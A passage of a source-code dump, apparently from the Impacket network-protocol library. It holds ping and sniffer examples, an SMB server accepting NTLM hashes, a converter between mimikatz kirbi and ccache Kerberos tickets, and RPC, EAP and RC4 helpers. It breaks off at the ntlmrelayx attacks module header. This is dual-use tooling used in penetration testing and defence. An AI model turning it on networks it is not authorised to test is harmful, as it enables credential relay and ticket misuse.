rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 91 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 92 | 93 | time.sleep(1) 94 | -------------------------------------------------------------------------------- /examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Simple ICMP6 ping. 14 | # 15 | # This implementation of ping uses the ICMP echo and echo-reply packets 16 | # to check the status of a host. If the remote host is up, it should reply 17 | # to the echo probe with an echo-reply packet. 18 | # Note that this isn't a definite test, as in the case the remote host is up 19 | # but refuses to reply the probes. 20 | # Also note that the user must have special access to be able to open a raw 21 | # socket, which this program requires. 22 | # 23 | # Authors: 24 | # Alberto Solino (@agsolino) 25 | # 26 | # Reference for: 27 | # ImpactPacket: ICMP6 28 | # ImpactDecoder 29 | # 30 | 31 | import select 32 | import socket 33 | import time 34 | import sys 35 | 36 | from impacket import ImpactDecoder, IP6, ICMP6, version 37 | 38 | print(version.BANNER) 39 | 40 | if len(sys.argv) < 3: 41 | print("Use: %s " % sys.argv[0]) 42 | sys.exit(1) 43 | 44 | src = sys.argv[1] 45 | dst = sys.argv[2] 46 | 47 | # Create a new IP packet and set its source and destination addresses. 48 | 49 | ip = IP6.IP6() 50 | ip.set_ip_src(src) 51 | ip.set_ip_dst(dst) 52 | ip.set_traffic_class(0) 53 | ip.set_flow_label(0) 54 | ip.set_hop_limit(64) 55 | 56 | # Open a raw socket. Special permissions are usually required. 57 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 58 | 59 | payload = b"A"*156 60 | 61 | print("PING %s %d data bytes" % (dst, len(payload))) 62 | seq_id = 0 63 | while 1: 64 | # Give the ICMP packet the next ID in the sequence. 65 | seq_id += 1 66 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 67 | 68 | # Have the IP packet contain the ICMP packet (along with its payload). 69 | ip.contains(icmp) 70 | ip.set_next_header(ip.child().get_ip_protocol_number()) 71 | ip.set_payload_length(ip.child().get_size()) 72 | icmp.calculate_checksum() 73 | 74 | # Send it to the target host. 75 | s.sendto(icmp.get_packet(), (dst, 0)) 76 | 77 | # Wait for incoming replies. 78 | if s in select.select([s], [], [], 1)[0]: 79 | reply = s.recvfrom(2000)[0] 80 | 81 | # Use ImpactDecoder to reconstruct the packet hierarchy. 82 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 83 | 84 | # If the packet matches, report it to the user. 85 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 86 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) 87 | 88 | time.sleep(1) 89 | -------------------------------------------------------------------------------- /examples/smbserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Simple SMB Server example. 14 | # 15 | # Author: 16 | # Alberto Solino (@agsolino) 17 | # 18 | 19 | import sys 20 | import argparse 21 | import logging 22 | 23 | from impacket.examples import logger 24 | from impacket import smbserver, version 25 | from impacket.ntlm import compute_lmhash, compute_nthash 26 | 27 | if __name__ == '__main__': 28 | 29 | # Init the example's logger theme 30 | print(version.BANNER) 31 | 32 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " 33 | "share specified as an argument. You need to be root in order to bind to port 445. " 34 | "For optional authentication, it is possible to specify username and password or the NTLM hash. " 35 | "Example: smbserver.py -comment 'My share' TMP /tmp") 36 | 37 | parser.add_argument('shareName', action='store', help='name of the share to add') 38 | parser.add_argument('sharePath', action='store', help='path of the share to add') 39 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') 40 | parser.add_argument('-username', action="store", help='Username to authenticate clients') 41 | parser.add_argument('-password', action="store", help='Password for the Username') 42 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') 43 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 44 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 45 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') 46 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') 47 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 48 | parser.add_argument('-outputfile', action='store', default=None, help='Output file to log smbserver output messages') 49 | 50 | if len(sys.argv)==1: 51 | parser.print_help() 52 | sys.exit(1) 53 | 54 | try: 55 | options = parser.parse_args() 56 | except Exception as e: 57 | logging.critical(str(e)) 58 | sys.exit(1) 59 | 60 | logger.init(options.ts, options.debug) 61 | 62 | if options.comment is None: 63 | comment = '' 64 | else: 65 | comment = options.comment 66 | 67 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) 68 | 69 | if options.outputfile: 70 | logging.info('Switching output to file %s' % options.outputfile) 71 | server.setLogFile(options.outputfile) 72 | 73 | server.addShare(options.shareName.upper(), options.sharePath, comment) 74 | server.setSMB2Support(options.smb2support) 75 | 76 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous 77 | # connections will be allowed 78 | if options.username is not None: 79 | # we either need a password or hashes, if not, ask 80 | if options.password is None and options.hashes is None: 81 | from getpass import getpass 82 | password = getpass("Password:") 83 | # Let's convert to hashes 84 | lmhash = compute_lmhash(password) 85 | nthash = compute_nthash(password) 86 | elif options.password is not None: 87 | lmhash = compute_lmhash(options.password) 88 | nthash = compute_nthash(options.password) 89 | else: 90 | lmhash, nthash = options.hashes.split(':') 91 | 92 | server.addCredential(options.username, 0, lmhash, nthash) 93 | 94 | # Here you can set a custom SMB challenge in hex format 95 | # If empty defaults to '4141414141414141' 96 | # (remember: must be 16 hex bytes long) 97 | # e.g. server.setSMBChallenge('12345678abcdef00') 98 | server.setSMBChallenge('') 99 | 100 | # Rock and roll 101 | server.start() 102 | -------------------------------------------------------------------------------- /examples/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Simple packet sniffer. 14 | # 15 | # This packet sniffer uses the pcap library to listen for packets in 16 | # transit over the specified interface. The returned packages can be 17 | # filtered according to a BPF filter (see tcpdump(3) for further 18 | # information on BPF filters). 19 | # 20 | # Note that the user might need special permissions to be able to use pcap. 21 | # 22 | # Authors: 23 | # Maximiliano Caceres 24 | # Javier Kohen 25 | # 26 | # Reference for: 27 | # pcapy: findalldevs, open_live 28 | # ImpactDecoder 29 | # 30 | 31 | import sys 32 | from threading import Thread 33 | import pcapy 34 | from pcapy import findalldevs, open_live 35 | 36 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 37 | 38 | 39 | class DecoderThread(Thread): 40 | def __init__(self, pcapObj): 41 | # Query the type of the link and instantiate a decoder accordingly. 42 | datalink = pcapObj.datalink() 43 | if pcapy.DLT_EN10MB == datalink: 44 | self.decoder = EthDecoder() 45 | elif pcapy.DLT_LINUX_SLL == datalink: 46 | self.decoder = LinuxSLLDecoder() 47 | else: 48 | raise Exception("Datalink type not supported: " % datalink) 49 | 50 | self.pcap = pcapObj 51 | Thread.__init__(self) 52 | 53 | def run(self): 54 | # Sniff ad infinitum. 55 | # PacketHandler shall be invoked by pcap for every packet. 56 | self.pcap.loop(0, self.packetHandler) 57 | 58 | def packetHandler(self, hdr, data): 59 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 60 | # of ImpactPacket instances. 61 | # Display the packet in human-readable form. 62 | print(self.decoder.decode(data)) 63 | 64 | 65 | def getInterface(): 66 | # Grab a list of interfaces that pcap is able to listen on. 67 | # The current user will be able to listen from all returned interfaces, 68 | # using open_live to open them. 69 | ifs = findalldevs() 70 | 71 | # No interfaces available, abort. 72 | if 0 == len(ifs): 73 | print("You don't have enough permissions to open any interface on this system.") 74 | sys.exit(1) 75 | 76 | # Only one interface available, use it. 77 | elif 1 == len(ifs): 78 | print('Only one interface present, defaulting to it.') 79 | return ifs[0] 80 | 81 | # Ask the user to choose an interface from the list. 82 | count = 0 83 | for iface in ifs: 84 | print('%i - %s' % (count, iface)) 85 | count += 1 86 | idx = int(input('Please select an interface: ')) 87 | 88 | return ifs[idx] 89 | 90 | def main(filter): 91 | dev = getInterface() 92 | 93 | # Open interface for catpuring. 94 | p = open_live(dev, 1500, 0, 100) 95 | 96 | # Set the BPF filter. See tcpdump(3). 97 | p.setfilter(filter) 98 | 99 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) 100 | 101 | # Start sniffing thread and finish main thread. 102 | DecoderThread(p).start() 103 | 104 | # Process command-line arguments. Take everything as a BPF filter to pass 105 | # onto pcap. Default to the empty filter (match all). 106 | filter = '' 107 | if len(sys.argv) > 1: 108 | filter = ' '.join(sys.argv[1:]) 109 | 110 | main(filter) 111 | -------------------------------------------------------------------------------- /examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Simple packet sniffer. 14 | # 15 | # This packet sniffer uses a raw socket to listen for packets 16 | # in transit corresponding to the specified protocols. 17 | # 18 | # Note that the user might need special permissions to be able to use 19 | # raw sockets. 20 | # 21 | # Authors: 22 | # Gerardo Richarte (@gerasdf) 23 | # Javier Kohen 24 | # 25 | # Reference for: 26 | # ImpactDecoder 27 | # 28 | 29 | from select import select 30 | import socket 31 | import sys 32 | 33 | from impacket import ImpactDecoder 34 | 35 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 36 | 37 | if len(sys.argv) == 1: 38 | toListen = DEFAULT_PROTOCOLS 39 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) 40 | else: 41 | toListen = sys.argv[1:] 42 | 43 | # Open one socket for each specified protocol. 44 | # A special option is set on the socket so that IP headers are included with 45 | # the returned data. 46 | sockets = [] 47 | for protocol in toListen: 48 | try: 49 | protocol_num = socket.getprotobyname(protocol) 50 | except socket.error: 51 | print("Ignoring unknown protocol:", protocol) 52 | toListen.remove(protocol) 53 | continue 54 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 55 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 56 | sockets.append(s) 57 | 58 | if 0 == len(toListen): 59 | print("There are no protocols available.") 60 | sys.exit(0) 61 | 62 | print("Listening on protocols:", toListen) 63 | 64 | # Instantiate an IP packets decoder. 65 | # As all the packets include their IP header, that decoder only is enough. 66 | decoder = ImpactDecoder.IPDecoder() 67 | 68 | while len(sockets) > 0: 69 | # Wait for an incoming packet on any socket. 70 | ready = select(sockets, [], [])[0] 71 | for s in ready: 72 | packet = s.recvfrom(4096)[0] 73 | if 0 == len(packet): 74 | # Socket remotely closed. Discard it. 75 | sockets.remove(s) 76 | s.close() 77 | else: 78 | # Packet received. Decode and display it. 79 | packet = decoder.decode(packet) 80 | print(packet) 81 | -------------------------------------------------------------------------------- /examples/ticketConverter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, 14 | # and vice versa. 15 | # 16 | # Examples: 17 | # ./ticket_converter.py admin.ccache admin.kirbi 18 | # ./ticket_converter.py admin.kirbi admin.ccache 19 | # 20 | # Author: 21 | # Zer1t0 (https://github.com/Zer1t0) 22 | # 23 | # References: 24 | # - https://tools.ietf.org/html/rfc4120 25 | # - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html 26 | # - https://github.com/gentilkiwi/kekeo 27 | # - https://github.com/rvazarkar/KrbCredExport 28 | # 29 | 30 | import argparse 31 | import struct 32 | 33 | from impacket import version 34 | from impacket.krb5.ccache import CCache 35 | 36 | 37 | def parse_args(): 38 | parser = argparse.ArgumentParser() 39 | parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") 40 | parser.add_argument('output_file', help="Output file") 41 | return parser.parse_args() 42 | 43 | 44 | def main(): 45 | print(version.BANNER) 46 | 47 | args = parse_args() 48 | 49 | if is_kirbi_file(args.input_file): 50 | print('[*] converting kirbi to ccache...') 51 | convert_kirbi_to_ccache(args.input_file, args.output_file) 52 | print('[+] done') 53 | elif is_ccache_file(args.input_file): 54 | print('[*] converting ccache to kirbi...') 55 | convert_ccache_to_kirbi(args.input_file, args.output_file) 56 | print('[+] done') 57 | else: 58 | print('[X] unknown file format') 59 | 60 | 61 | def is_kirbi_file(filename): 62 | with open(filename, 'rb') as fi: 63 | fileid = struct.unpack(">B", fi.read(1))[0] 64 | return fileid == 0x76 65 | 66 | 67 | def is_ccache_file(filename): 68 | with open(filename, 'rb') as fi: 69 | fileid = struct.unpack(">B", fi.read(1))[0] 70 | return fileid == 0x5 71 | 72 | 73 | def convert_kirbi_to_ccache(input_filename, output_filename): 74 | ccache = CCache.loadKirbiFile(input_filename) 75 | ccache.saveFile(output_filename) 76 | 77 | 78 | def convert_ccache_to_kirbi(input_filename, output_filename): 79 | ccache = CCache.loadFile(input_filename) 80 | ccache.saveKirbiFile(output_filename) 81 | 82 | 83 | if __name__ == '__main__': 84 | main() 85 | -------------------------------------------------------------------------------- /impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # IEEE 802.11 Network packet codecs. 13 | # 14 | # Author: 15 | # Gustavo Moreira 16 | # 17 | 18 | class RC4(): 19 | def __init__(self, key): 20 | bkey = bytearray(key) 21 | j = 0 22 | self.state = bytearray(range(256)) 23 | for i in range(256): 24 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff 25 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 26 | 27 | def encrypt(self, data): 28 | i = j = 0 29 | out=bytearray() 30 | for char in bytearray(data): 31 | i = (i+1) & 0xff 32 | j = (j+self.state[i]) & 0xff 33 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 34 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 35 | 36 | return bytes(out) 37 | 38 | def decrypt(self, data): 39 | # It's symmetric 40 | return self.encrypt(data) 41 | -------------------------------------------------------------------------------- /impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # IEEE 802.11 Network packet codecs. 13 | # 14 | # Author: 15 | # Gustavo Moreira 16 | 17 | from array import array 18 | class KeyManager: 19 | def __init__(self): 20 | self.keys = {} 21 | 22 | def __get_bssid_hasheable_type(self, bssid): 23 | # List is an unhashable type 24 | if not isinstance(bssid, (list,tuple,array)): 25 | raise Exception('BSSID datatype must be a tuple, list or array') 26 | return tuple(bssid) 27 | 28 | def add_key(self, bssid, key): 29 | bssid=self.__get_bssid_hasheable_type(bssid) 30 | if bssid not in self.keys: 31 | self.keys[bssid] = key 32 | return True 33 | else: 34 | return False 35 | 36 | def replace_key(self, bssid, key): 37 | bssid=self.__get_bssid_hasheable_type(bssid) 38 | self.keys[bssid] = key 39 | 40 | return True 41 | 42 | def get_key(self, bssid): 43 | bssid=self.__get_bssid_hasheable_type(bssid) 44 | if bssid in self.keys: 45 | return self.keys[bssid] 46 | else: 47 | return False 48 | 49 | def delete_key(self, bssid): 50 | bssid=self.__get_bssid_hasheable_type(bssid) 51 | if not isinstance(bssid, list): 52 | raise Exception('BSSID datatype must be a list') 53 | 54 | if bssid in self.keys: 55 | del self.keys[bssid] 56 | return True 57 | 58 | return False 59 | -------------------------------------------------------------------------------- /impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Author: 12 | # Alberto Solino (@agsolino) 13 | # 14 | 15 | # Set default logging handler to avoid "No handler found" warnings. 16 | import logging 17 | try: # Python 2.7+ 18 | from logging import NullHandler 19 | except ImportError: 20 | class NullHandler(logging.Handler): 21 | def emit(self, record): 22 | pass 23 | 24 | # All modules inside this library MUST use this logger (impacket) 25 | # It is up to the library consumer to do whatever is wanted 26 | # with the logger output. By default it is forwarded to the 27 | # upstream logger 28 | 29 | LOG = logging.getLogger(__name__) 30 | LOG.addHandler(NullHandler()) 31 | -------------------------------------------------------------------------------- /impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/dcom/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/oxabref.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol 13 | # 14 | # Author: 15 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 16 | # 17 | 18 | from impacket import hresult_errors, mapi_constants 19 | from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG 20 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER 21 | from impacket.dcerpc.v5.rpcrt import DCERPCException 22 | from impacket.uuid import uuidtup_to_bin 23 | 24 | MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0')) 25 | 26 | class DCERPCSessionError(DCERPCException): 27 | def __init__(self, error_string=None, error_code=None, packet=None): 28 | DCERPCException.__init__(self, error_string, error_code, packet) 29 | 30 | def __str__( self ): 31 | key = self.error_code 32 | if key in mapi_constants.ERROR_MESSAGES: 33 | error_msg_short = mapi_constants.ERROR_MESSAGES[key] 34 | return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short) 35 | elif key in hresult_errors.ERROR_MESSAGES: 36 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 37 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 38 | return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 39 | else: 40 | return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code 41 | 42 | ################################################################################ 43 | # STRUCTURES 44 | ################################################################################ 45 | class PUCHAR_ARRAY(NDRPOINTER): 46 | referent = ( 47 | ('Data', STR), 48 | ) 49 | 50 | class PPUCHAR_ARRAY(NDRPOINTER): 51 | referent = ( 52 | ('Data', PUCHAR_ARRAY), 53 | ) 54 | 55 | ################################################################################ 56 | # RPC CALLS 57 | ################################################################################ 58 | 59 | # 3.1.4.1 RfrGetNewDSA (opnum 0) 60 | class RfrGetNewDSA(NDRCALL): 61 | opnum = 0 62 | structure = ( 63 | ('ulFlags', ULONG), 64 | ('pUserDN', STR), 65 | ('ppszUnused', PPUCHAR_ARRAY), 66 | ('ppszServer', PPUCHAR_ARRAY), 67 | ) 68 | 69 | class RfrGetNewDSAResponse(NDRCALL): 70 | structure = ( 71 | ('ppszUnused', PPUCHAR_ARRAY), 72 | ('ppszServer', PPUCHAR_ARRAY), 73 | ) 74 | 75 | # 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1) 76 | class RfrGetFQDNFromServerDN(NDRCALL): 77 | opnum = 1 78 | structure = ( 79 | ('ulFlags', ULONG), 80 | ('cbMailboxServerDN', ULONG), 81 | ('szMailboxServerDN', STR), 82 | ) 83 | 84 | class RfrGetFQDNFromServerDNResponse(NDRCALL): 85 | structure = ( 86 | ('ppszServerFQDN', PUCHAR_ARRAY), 87 | ('ErrorCode', ULONG), 88 | ) 89 | 90 | ################################################################################ 91 | # OPNUMs and their corresponding structures 92 | ################################################################################ 93 | OPNUMS = { 94 | 0 : (RfrGetNewDSA, RfrGetNewDSAResponse), 95 | 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse), 96 | } 97 | 98 | ################################################################################ 99 | # HELPER FUNCTIONS 100 | ################################################################################ 101 | def checkNullString(string): 102 | if string == NULL: 103 | return string 104 | 105 | if string[-1:] != '\x00': 106 | return string + '\x00' 107 | else: 108 | return string 109 | 110 | def hRfrGetNewDSA(dce, pUserDN=''): 111 | request = RfrGetNewDSA() 112 | request['ulFlags'] = 0 113 | request['pUserDN'] = checkNullString(pUserDN) 114 | request['ppszUnused'] = NULL 115 | request['ppszServer'] = '\x00' 116 | 117 | resp = dce.request(request) 118 | resp['ppszServer'] = resp['ppszServer'][:-1] 119 | 120 | if request['ppszUnused'] != NULL: 121 | resp['ppszUnused'] = resp['ppszUnused'][:-1] 122 | 123 | return resp 124 | 125 | def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN): 126 | szMailboxServerDN = checkNullString(szMailboxServerDN) 127 | request = RfrGetFQDNFromServerDN() 128 | request['ulFlags'] = 0 129 | request['szMailboxServerDN'] = szMailboxServerDN 130 | request['cbMailboxServerDN'] = len(szMailboxServerDN) 131 | 132 | resp = dce.request(request) 133 | resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1] 134 | 135 | return resp 136 | -------------------------------------------------------------------------------- /impacket/eap.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # EAP packets 13 | # 14 | # Author: 15 | # Aureliano Calvo 16 | # 17 | 18 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian 19 | 20 | DOT1X_AUTHENTICATION = 0x888E 21 | 22 | class EAPExpanded(ProtocolPacket): 23 | """EAP expanded data according to RFC 3748, section 5.7""" 24 | 25 | WFA_SMI = 0x00372a 26 | SIMPLE_CONFIG = 0x00000001 27 | 28 | header_size = 7 29 | tail_size = 0 30 | 31 | vendor_id = ThreeBytesBigEndian(0) 32 | vendor_type = Long(3, ">") 33 | 34 | class EAPR(ProtocolPacket): 35 | """It represents a request or a response in EAP (codes 1 and 2)""" 36 | 37 | IDENTITY = 0x01 38 | EXPANDED = 0xfe 39 | 40 | header_size = 1 41 | tail_size = 0 42 | 43 | type = Byte(0) 44 | 45 | class EAP(ProtocolPacket): 46 | REQUEST = 0x01 47 | RESPONSE = 0x02 48 | SUCCESS = 0x03 49 | FAILURE = 0x04 50 | 51 | header_size = 4 52 | tail_size = 0 53 | 54 | code = Byte(0) 55 | identifier = Byte(1) 56 | length = Word(2, ">") 57 | 58 | class EAPOL(ProtocolPacket): 59 | EAP_PACKET = 0x00 60 | EAPOL_START = 0x01 61 | EAPOL_LOGOFF = 0x02 62 | EAPOL_KEY = 0x03 63 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 64 | 65 | DOT1X_VERSION = 0x01 66 | 67 | header_size = 4 68 | tail_size = 0 69 | 70 | version = Byte(0) 71 | packet_type = Byte(1) 72 | body_length = Word(2, ">") 73 | -------------------------------------------------------------------------------- /impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # This logger is intended to be used by impacket instead 13 | # of printing directly. This will allow other libraries to use their 14 | # custom logging implementation. 15 | # 16 | 17 | import logging 18 | import sys 19 | from impacket import version 20 | 21 | # This module can be used by scripts using the Impacket library 22 | # in order to configure the root logger to output events 23 | # generated by the library with a predefined format 24 | 25 | # If the scripts want to generate log entries, they can write 26 | # directly to the root logger (logging.info, debug, etc). 27 | 28 | class ImpacketFormatter(logging.Formatter): 29 | ''' 30 | Prefixing logged messages through the custom attribute 'bullet'. 31 | ''' 32 | def __init__(self): 33 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None) 34 | 35 | def format(self, record): 36 | if record.levelno == logging.INFO: 37 | record.bullet = '[*]' 38 | elif record.levelno == logging.DEBUG: 39 | record.bullet = '[+]' 40 | elif record.levelno == logging.WARNING: 41 | record.bullet = '[!]' 42 | else: 43 | record.bullet = '[-]' 44 | 45 | return logging.Formatter.format(self, record) 46 | 47 | class ImpacketFormatterTimeStamp(ImpacketFormatter): 48 | ''' 49 | Prefixing logged messages through the custom attribute 'bullet'. 50 | ''' 51 | def __init__(self): 52 | logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None) 53 | 54 | def formatTime(self, record, datefmt=None): 55 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") 56 | 57 | def init(ts=False, debug=False): 58 | # We add a StreamHandler and formatter to the root logger 59 | handler = logging.StreamHandler(sys.stdout) 60 | 61 | if ts: 62 | handler.setFormatter(ImpacketFormatterTimeStamp()) 63 | else: 64 | handler.setFormatter(ImpacketFormatter()) 65 | 66 | logging.getLogger().addHandler(handler) 67 | 68 | if debug is True: 69 | logging.getLogger().setLevel(logging.DEBUG) 70 | # Print the Library's installation path 71 | logging.debug(version.getInstallationPath()) 72 | else: 73 | logging.getLogger().setLevel(logging.INFO) 74 | logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 75 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | pass 12 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # Protocol Attack Base Class definition 13 | # Defines a base class for all attacks + loads all available modules 14 | # 15 | # Author: 16 | # Alberto Solino (@agsolino) 17 | # Dirk-jan Mollema 